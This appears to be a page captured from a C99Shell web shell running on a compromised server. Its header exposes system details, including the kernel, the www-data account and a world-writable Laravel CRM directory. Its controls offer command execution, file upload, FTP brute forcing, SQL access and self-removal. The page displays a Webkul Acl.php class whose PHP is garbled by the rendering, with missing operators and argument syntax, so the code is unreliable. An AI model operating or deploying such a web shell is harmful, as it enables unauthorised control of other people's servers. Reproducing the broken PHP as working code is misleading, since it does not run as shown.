!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Core/src/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Acl.php (2.83 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Core;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Webkul\Core\Acl\AclItem;

class 
Acl
{
    
/**
     * acl items.
     */
    
protected array $items = [];

    
/**
     * Add a new acl item.
     */
    
public function addItem(AclItem $aclItem): void
    
{
        
$this->items[] = $aclItem;
    }

    
/**
     * Get all acl items.
     */
    
public function getItems(): Collection
    
{
        if (! 
$this->items) {
            
$this->prepareAclItems();
        }

        return 
collect($this->items)
            ->
sortBy('sort')
            ->
values();
    }

    
/**
     * Acl Config.
     */
    
private function getAclConfig(): array
    {
        static 
$aclConfig;

        if (
$aclConfig) {
            return 
$aclConfig;
        }

        
$aclConfig config('acl');

        return 
$aclConfig;
    }

    
/**
     * Get all roles.
     */
    
public function getRoles(): Collection
    
{
        static 
$roles;

        if (
$roles) {
            return 
$roles;
        }

        
$roles collect($this->getAclConfig())
            ->
mapWithKeys(function ($role) {
                if (
is_array($role['route'])) {
                    return 
collect($role['route'])->mapWithKeys(function ($route) use ($role) {
                        return [
$route => $role['key']];
                    });
                } else {
                    return [
$role['route'] => $role['key']];
                }
            });

        return 
$roles;
    }

    
/**
     * Prepare acl items.
     */
    
private function prepareAclItems(): void
    
{
        
$aclWithDotNotation = [];

        foreach (
$this->getAclConfig() as $item) {
            
$aclWithDotNotation[$item['key']] = $item;
        }

        
$acl Arr::undot(Arr::dot($aclWithDotNotation));

        foreach (
$acl as $aclItemKey => $aclItem) {
            
$subAclItems $this->processSubAclItems($aclItem);

            
$this->addItem(new AclItem(
                
key$aclItemKey,
                
nametrans($aclItem['name']),
                
route$aclItem['route'],
                
sort$aclItem['sort'],
                
children$subAclItems,
            ));
        }
    }

    
/**
     * Process sub acl items.
     */
    
private function processSubAclItems($aclItem): Collection
    
{
        return 
collect($aclItem)
            ->
sortBy('sort')
            ->
filter(fn ($value$key) => is_array($value) && $key !== 'route')
            ->
map(function ($subAclItem) {
                
$subSubAclItems $this->processSubAclItems($subAclItem);

                return new 
AclItem(
                    
key$subAclItem['key'],
                    
nametrans($subAclItem['name']),
                    
route$subAclItem['route'],
                    
sort$subAclItem['sort'],
                    
children$subSubAclItems,
                );
            });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--